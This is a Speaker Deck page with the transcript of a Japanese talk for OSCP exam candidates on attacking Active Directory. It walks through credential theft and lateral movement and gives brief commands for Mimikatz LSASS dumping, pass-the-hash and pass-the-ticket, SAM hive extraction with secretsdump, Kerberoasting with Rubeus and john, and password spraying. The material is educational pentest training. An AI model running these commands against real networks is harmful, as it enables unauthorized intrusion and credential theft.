Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
OSCPでのActive Directory攻略
Search
Fire / ふぁいあー
March 24, 2023
Technology
2
1.8k
OSCPでのActive Directory攻略
OSCP勉強会 #2での講演スライドです。
https://off-sec-lab.connpass.com/event/276425/
Fire / ふぁいあー
March 24, 2023
Tweet
Share
More Decks by Fire / ふぁいあー
See All by Fire / ふぁいあー
Azure Cloud ペンテスト入門(仮)
firefire2
0
560
サイバーセキュリティの話 Ver.20210904
firefire2
1
460
Other Decks in Technology
See All in Technology
Oracle Cloud Infrastructureデータベース・クラウド:各バージョンのサポート期間
oracle4engineer
PRO
28
13k
100 名超が参加した日経グループ横断の競技型 AWS 学習イベント「Nikkei Group AWS GameDay」の紹介/mediajaws202411
nikkei_engineer_recruiting
1
170
Lambda10周年!Lambdaは何をもたらしたか
smt7174
2
110
VideoMamba: State Space Model for Efficient Video Understanding
chou500
0
190
OCI Security サービス 概要
oracle4engineer
PRO
0
6.5k
Python(PYNQ)がテーマのAMD主催のFPGAコンテストに参加してきた
iotengineer22
0
480
社内で最大の技術的負債のリファクタリングに取り組んだお話し
kidooonn
1
550
[CV勉強会@関東 ECCV2024 読み会] オンラインマッピング x トラッキング MapTracker: Tracking with Strided Memory Fusion for Consistent Vector HD Mapping (Chen+, ECCV24)
abemii
0
220
Introduction to Works of ML Engineer in LY Corporation
lycorp_recruit_jp
0
130
rootlessコンテナのすゝめ - 研究室サーバーでもできる安全なコンテナ管理
kitsuya0828
3
390
Why App Signing Matters for Your Android Apps - Android Bangkok Conference 2024
akexorcist
0
130
RubyのWebアプリケーションを50倍速くする方法 / How to Make a Ruby Web Application 50 Times Faster
hogelog
3
940
Featured
See All Featured
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
27
840
Performance Is Good for Brains [We Love Speed 2024]
tammyeverts
6
410
Exploring the Power of Turbo Streams & Action Cable | RailsConf2023
kevinliebholz
27
4.3k
Adopting Sorbet at Scale
ufuk
73
9.1k
Statistics for Hackers
jakevdp
796
220k
GraphQLの誤解/rethinking-graphql
sonatard
67
10k
Scaling GitHub
holman
458
140k
Designing Experiences People Love
moore
138
23k
Agile that works and the tools we love
rasmusluckow
327
21k
KATA
mclloyd
29
14k
Why You Should Never Use an ORM
jnunemaker
PRO
54
9.1k
Become a Pro
speakerdeck
PRO
25
5k
Transcript
OSCPでのActive Directory攻略 ふぁいあー(@fire_fire_2) OSCP勉強会 #2 - 2023/03/24
About me • Fire / ふぁいあー(@fire_fire_2) • 自己紹介 • OSCP
(2022.1取得) / CRTP / GCPN / AWS SCS / RISS • 現役ペンテスター • PEN-300受講中 • お仕事 • セキュリティ界隈 およそ4年 • フォレンジック 1.5年 • ペネトレーションテスト2.5年 2
情報システムに対するペネトレ • 公開サーバへのペネトレ(Webサーバなど) • 空いているポートで使用しているサービスの脆弱性を悪用して侵入 • Webアプリの脆弱性、弱い認証情報、など • 企業のOAネットワークへのペネトレ(Active Directory環境など)
• メールやWebページの閲覧によりクライアント端末がマルウェアに感染したことに よる侵入(前提) • いわゆるAPT攻撃(持続的標的型攻撃)を想定した侵入テスト • ターゲット • 特権アカウント、ドメインコントローラ、 機密情報(顧客情報や技術情報など) 3
OSCPでのActive Directoryカリキュラム • 2022年の改定 • 試験でBoFのExploitコード作りがなくなり、AD問題が新しく出題 • 2023年の改定 • 1モジュールから3モジュールに拡張
4 https://www.offsec.com/offsec/pen-200-2023/
Active Directoryとは(イメージ) 5 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directoryとは(イメージ) 6 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directory触ったことがなかった人✋ • VMとかにWindowsServerをインストールしてまずはさわってみましょう • Windowsの評価版は無料で入手できます • https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-10- enterprise •
https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-server- 2022 [参考] ペネトレーションテストの検証・勉強用環境の紹介 https://devblog.lac.co.jp/entry/20230123 7
AD環境ペネトレのながれ 8 ドメインA C2サーバ (遠隔操作用サーバ)
AD環境ペネトレのながれ 9 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる
AD環境ペネトレのながれ 10 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する
AD環境ペネトレのながれ 11 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する
AD環境ペネトレのながれ 12 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain
Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 13 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 14 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
OSCPでのAD問題の対象 15 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
今日のメインの話 16 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 17 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 18 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する 認証情報を窃取することで、他の端末に侵入する。 侵入先でも認証情報を窃取し、また他の端末に侵入する。 これを繰り返してドメイン管理者権限を目指す!
OSCPで見るべき認証情報窃取 19 窃取方法 • LSASS Dump • SAM Dump •
Kerberos Ticket Dump • 資格情報マネージャ • Kerberoast • 弱くて脆弱なパスワード • パスワードがファイルにそのまま記載 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
LSASS Dump • 認証を司るサービス(LSASS)の実行メモリをダンプし解析することで、 コンピュータで使用中のローカルアカウントを含めたドメインアカウント のNTLMハッシュを窃取可能。NTLMハッシュはそのまま認証に使える (Pass The Hash)。ドメイン管理者アカウントが窃取できる可能性。 Mimikatz(管理者権限)で実行
# privilege::debug # sekurlsa::logonpasswords MimikatzでPass The Hash # sekurlsa::pth /user:targetuser /domain:targetdomain.local /ntlm:targethash /run:cmd.exe 20
SAM Dump • ローカルアカウントの情報を保持しているレジストリ(SAM)を復号す ることで、コンピュータのローカルアカウントのNTLMハッシュを窃取可 能。 NTLMハッシュはそのまま認証に使える(Pass The Hash)。他の コンピュータに設定されているアカウントのパスワードがダンプしたコン
ピュータのものと同様の場合、Pass The Hashで侵入できる可能性。 SAM、SYSTEM、SECURITYハイブを抽出 > reg save hklm¥sam sam.hive(system, securityも同様にダンプ) Impacketのsecretsdumpで復号 > secretsdump –sam sam.hive –system system.hive –security security.hive LOCAL Mimikatz(管理者権限)でPass The Hash # privilege::debug # sekurlsa::pth /user:targetuser /domain:. /ntlm:targethash /run:cmd.exe 21
Kerberos Ticket Dump • ドメインユーザを使用するとADから取得したKerberosチケットがコン ピュータ内にキャッシュされているため、 Mimikatzなどでこれら認証用 のチケットを窃取可能。チケットが失効していなければそのまま使用して 認証に使える(Pass The
Ticket)。他のアカウントのチケットを使って 他のコンピュータに侵入できる可能性。 Mimikatz(管理者権限)で実行 # privilege::bebug # sekurlsa::ticket /export MimikatzでPass The Ticket # kerberos::ptt .¥ticketpath.kirbi 22
資格情報マネージャ • タスクスケジューラーでタスク登録時に保存した認証情報など、資格情報 マネージャーに登録されている認証情報を平文で窃取可能。平文でパス ワードが窃取可能なため、Runasコマンドなどでのログオン時に指定すれ ばそのままログオン可能。 Mimikatz(管理者権限)で実行 # token::elevate #
vault::cred /patch Runasコマンドなどでログオン > runas /user:
[email protected]
/netonly cmd.exe
[email protected]
のパスワードを入力してください:password 23
Kerberoast • SPNが設定されたドメインユーザアカウントは、パスワードハッシュ値 (krb5tgs形式)をKerberosチケットから取得でき、このユーザのパス ワードが脆弱だった場合、解析することで平文パスワードを窃取すること が可能(オフラインクラック)。 Runasコマンドなどでのログオン時に 指定すればそのままログオン可能。 Rubeusなどでパスワードハッシュ値を取得 >
Rubeus.exe kerberoast /nowrap 取得したハッシュ値のオフラインクラック $ john hash.txt –-wordlist=rockyou.txt –rules:jumbo Runasコマンドなどでログオン > 省略 24
弱くて脆弱なパスワード • 全ドメインユーザを対象に脆弱なパスワードが設定されているアカウント を探す。 • パスワードをアカウント名と同一文字列として認証を試行(joeアカウント) • 特定のパスワードで全ドメインユーザに対して認証を試行(パスワードスプレー) Joeアカウント >
Invoke-DomainPasswordSpray –UsernameAsPassword パスワードスプレー > Invoke-DomainPasswordSpray -Password P@ssw0rd Runasコマンドなどでログオン > 省略 25 https://github.com/dafthack/DomainPasswordSpray
パスワードがファイルにそのまま記載 • コンピュータ内に存在するbatやps1、vbsなどのスクリプトファイルに、 何かしらのユーザのパスワードがそのまま平文で記載されていることがよ くある。 スクリプトファイルは、スタートアップに登録されていたり、スケジュー ルタスクとして登録されていたりする場合が多い。 平文なので、Runasコマンドなどでのログオン時に指定すればそのままロ グオン可能。 26
まとめ OSCPレベルのWindows Active Directory問題であれば、見るポイントを 押さえればそれほど難しくないです。教科書の内容を勉強しておけば十分 攻略可能です。 教科書をしっかり読み、また試験での見逃しを防ぐためしっかりチート シートをまとめておきましょう。 Pentest-CheatSheets -
GitHub https://github.com/firefire2/Pentest-Cheatsheets 27
Thank you. Any Questions? ※この講演における発言及び資料の内容は、個人の見解を含んでいます。 それらは、所属する企業や団体を代表するものではありません。 28